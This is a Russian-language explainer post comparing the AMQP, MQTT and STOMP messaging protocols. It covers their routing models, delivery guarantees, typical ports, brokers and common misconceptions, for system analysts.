✖️ это не версии одного протокола и не преемники друг друга
✔️ каждый создавался под свою задачу:

🟣 AMQP — надёжная корпоративная интеграция и гибкая маршрутизация
🟣 MQTT — лёгкий обмен с устройствами в нестабильной сети
🟣 STOMP — простой текстовый обмен


Что общего

🟣 все решают одну задачу: асинхронный обмен сообщениями через брокера
🟣 работают поверх TCP. Могут подниматься поверх WebSocket — так браузерный клиент общается с брокером через любой из трёх протоколов
🟣 мультипротокольные брокеры:
🟡RabbitMQ поддерживает AMQP 0-9-1 и AMQP 1.0 нативно
🟡MQTT и STOMP — через плагины поверх внутренней AMQP-модели
🟡ActiveMQ тоже понимает все три.


AMQP

AMQP (Advanced Message Queuing Protocol) — открытый бинарный протокол прикладного уровня

🟣Используется для передачи сообщений между компонентами через брокера.

🟣Это wire-level протокол: стандарт описывает точный формат данных, которые клиент и брокер передают по сети.

🟣Клиент на любом языке, реализующий этот формат, совместим с любым брокером той же версии — без фирменных SDK и «мостов»

👇 Стандартный порт — 5672


Модель AMQP 0-9-1

На этой версии построен RabbitMQ, и чаще всего под «AMQP» в интеграциях понимают именно её. Протокол описывает сущности брокера — топологию, которую стороны создают командами:

🔘Exchange (обменник): принимает сообщения от продюсеров и распределяет по очередям. Сам ничего не хранит
🔘Queue (очередь): именованный буфер, где сообщения хранятся, пока их не заберут потребители
🔘Binding (привязка): правило, связывающее exchange с queue. Может включать binding key
🔘Routing key: метка, которую продюсер прикладывает к сообщению, а exchange учитывает при маршрутизации

Тип exchange задаёт правило маршрутизации:

🟣direct: точное совпадение routing key и binding key — сообщение попадает в конкретную очередь.
🟣fanout: ключ игнорируется, копия уходит во все привязанные очереди — рассылка всем подписчикам.
🟣topic: сопоставление по маске. Ключ — слова через точку (orders.europe.created). * заменяет ровно одно слово, # — ноль и более слов.
🟣headers: маршрутизация по заголовкам сообщения, без routing key.


AMQP 1.0

AMQP 1.0 — не следующая версия 0-9-1, а другой протокол
✖️ С 0-9-1 его не связывает ничего, кроме имени
👇 1.0 описывает только передачу и не навязывает модель брокера: гарантии доставки настраиваются на каждом канале отдельно

Гарантии доставки в AMQP 0-9-1

Базовая публикация не подтверждается брокером: без дополнительных механизмов это «отправил и забыл» (at most once)

Надёжность собирается из частей:

🔘publisher confirms: брокер подтверждает приём каждого сообщения (расширение RabbitMQ)
🔘consumer acknowledgements: сообщение считается обработанным только после подтверждения потребителем. Без подтверждения брокер доставит его повторно
🔘persistent-сообщения и durable-очереди: защита от потери при перезагрузке брокера

👇 Комбинация даёт семантику at least once (как минимум один раз)
Её цена — дубликаты, поэтому потребитель должен быть идемпотентным

Когда использовать AMQP

- корпоративная интеграция и микросервисы: сложная маршрутизация, разделение и слияние потоков событий
- приоритизация, транзакционность (несколько публикаций «всё или ничего»)
- гарантии доставки

Брокеры

🔘RabbitMQ
🔘Azure Service Bus (основной протокол — AMQP 1.0)
🔘ActiveMQ


MQTT

MQTT — лёгкий бинарный протокол публикации/подписки для устройств с ограниченными ресурсами и нестабильной сетью
👇 Стандартные порты — 1883 (TCP) и 8883 (TLS)

Архитектура

Издатель ➡️ брокер ➡️ подписчики

🟣 У клиентов нет адресов: издатель публикует сообщение брокеру, тот фильтрует по топикам и рассылает подписчикам
🟣 Издатель и подписчик не знают друг о друге.

Топики

Данные адресуются топиками — иерархическими метками

Уровни разделяются слэшем:
🟣factory/line2/temperature — топик датчика температуры второй линии цеха.
🟣Подписка — на точный топик или маску:
🟣factory/+/temperature — датчики температуры всех линий (+ заменяет ровно один уровень);
🟣factory/# — всё производство (# заменяет ноль и более уровней, включая сам factory).

Формат payload (JSON, бинарные данные) стандарт не описывает — это договорённость сторон

Гарантии

QoS (Quality of Service) действует на каждом участке отдельно
Итоговый QoS для подписчика — минимальный из QoS публикации и QoS подписки
Поэтому идемпотентность потребителя остаётся актуальной даже при QoS 2 («ровно один раз»).

Механизмы MQTT

🟣Retained-сообщения: брокер хранит последнее сообщение топика и выдаёт его каждому новому подписчику
Подключился — сразу получил актуальное состояние
🟣LWT (Last Will and Testament, «завещание»): при подключении клиент оставляет брокеру сообщение, которое тот опубликует при нештатном обрыве связи
Типовой паттерн — топик статуса устройства со значениями online/offline
🟣 Persistent-сессии: брокер помнит подписки офлайн-клиента и накапливает для него сообщения QoS 1/2.

Когда использовать MQTT

🟡 IoT и телеметрия: датчики, телематика, умные здания и производства
🟡 Мобильные приложения, где важны расход трафика
🟣Если устройство на сетевом питании отправляет данные раз в час, HTTP может оказаться проще

Брокеры

Eclipse Mosquitto, EMQX, HiveMQ


STOMP

STOMP (Streaming Text Oriented Messaging Protocol) — простой текстовый фреймовый протокол по мотивам HTTP
Единственный из тройки, которым можно пользоваться вручную: сессию с брокером можно открыть даже через telnet

🟣Общение идёт фреймами: команда, заголовки вида «ключ: значение», тело
🟣Ключевое отличие: у STOMP нет собственной модели маршрутизации. Destination — непрозрачная строка, семантику которой задаёт брокер:

- в RabbitMQ /queue/имя — разделяемая очередь
- /topic/ключ — публикация в topic-exchange
- /exchange/имя/ключ — произвольный exchange

✅ Есть подтверждения (ACK/NACK) и транзакции (BEGIN/COMMIT/ABORT) — группа отправок «всё или ничего»
✖️ Уровней QoS, как в MQTT, нет

Когда использовать STOMP

🟣Браузерные клиенты поверх WebSocket: чаты, уведомления, обновления в реальном времени
🟣Скриптовые языки, быстрые прототипы, ручная отладка
🟡Для высоконагруженных прод-интеграций бинарные AMQP и MQTT эффективнее

Реализации

👇 Плагин RabbitMQ (TCP-порт 61613, для браузеров — Web STOMP),
👇 Apache ActiveMQ и Artemis
👇 встроенный брокер Spring


Типичные ошибки

✖️ «Это конкуренты Kafka» → это протоколы, а Kafka — платформа потоковой обработки со своим бинарным протоколом. Сравнивать надо брокеров: Kafka vs RabbitMQ
✖️ «AMQP — это брокер» → AMQP — протокол; брокеры (RabbitMQ, Qpid, ActiveMQ) — его реализации
✖️ «MQTT — это очередь» → нет: это pub/sub «многие ко многим», а не очередь точка-точка
✖️ «AMQP 1.0 — развитие 0-9-1» → два разных протокола под одним именем


📎 Материалы
1. Протокол MQTT: концептуальное погружение
2. AMQP vs. MQTT: 9 ключевых различий
3. Краткий обзор протокола AMQP
4. Сравнение популярных брокеров MQTT с открытым исходным кодом

📚 Книги
RabbitMQ для профессионалов — Гэвин Рой

#проектирование #интеграции

➿➿➿➿➿➿➿➿➿➿

🧑‍🎓 Более поробное сравнение в базе знаний по системному анализу